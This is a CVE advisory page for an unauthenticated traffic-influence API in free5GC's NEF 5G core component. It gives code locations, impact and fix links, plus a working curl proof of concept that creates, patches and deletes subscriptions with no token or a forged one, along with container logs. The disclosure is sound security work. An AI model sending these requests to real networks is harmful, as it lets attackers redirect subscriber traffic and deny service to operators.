CVE-2026-44326 — Vulnerability in github.com/free5gc/nef — CVE Details
CRITICAL
free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions
Published May 8, 2026Updated June 25, 2026Source: osv
Summary
### Summary
free5GC's NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, or with a forged bearer token (e.g. `Authorization: Bearer not-a-real-token`). This includes creating `AnyUeInd=true` subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed.
This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.
### Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag: `v4.2.1`
- Running Docker image: `free5gc/nef:v4.2.0`
- Runtime NEF commit: `5ce35eab`
- Docker validation date: 2026-03-11
NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-traffic-influence` route group is mounted and reachable with no inbound auth middleware.
Code evidence (paths in `free5gc/nef`):
- Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:48`
- CRUD routes exposed at `/:afID/subscriptions` and `/:afID/subscriptions/:subID`: `NFs/nef/internal/sbi/api_ti.go:13`
- POST allocates AF/subscription state and writes traffic-influence data: `NFs/nef/internal/sbi/processor/ti.go:50`
- PATCH looks up and updates the subscription, then calls UDR/PCF: `NFs/nef/internal/sbi/processor/ti.go:279`
- DELETE looks up and removes the subscription: `NFs/nef/internal/sbi/processor/ti.go:355`
- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153`
- Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126`
### PoC
Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`.
1. CREATE subscription with NO `Authorization` header at all -> `201 Created`:
```
curl -i \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
```
2. CREATE second subscription with FORGED bearer token -> `201 Created`:
```
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions
```
3. READ with forged token -> `200 OK`:
```
curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
```
4. PATCH with forged token -> `500 Query to UDR failed` (still reaches business logic, not 401/403, so auth bypass confirmed):
```
curl -i -X PATCH \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
```
5. DELETE with forged token -> `204 No Content`:
```
curl -i -X DELETE \
-H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
```
NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403):
```
[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high]
[INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions
[INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth]
[INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
```
### Impact
Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can:
- Create attacker-controlled traffic-influence subscriptions (including `AnyUeInd=true` group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF.
- Read existing AF subscriptions, leaking traffic-steering policy data.
- Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs.
- Delete subscriptions, denying service to legitimately provisioned traffic influence.
The traffic-influence route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/859
Upstream fix: https://github.com/free5gc/nef/pull/23
Advisory Timeline
First published May 8, 2026 (156 days ago).
Last revised June 25, 2026 — 48 days after initial publication.
free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.4/10).
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Severity & Exploitability
CVSS Score
9.4
Exploitation is straightforward and causes maximum impact. Patch immediately.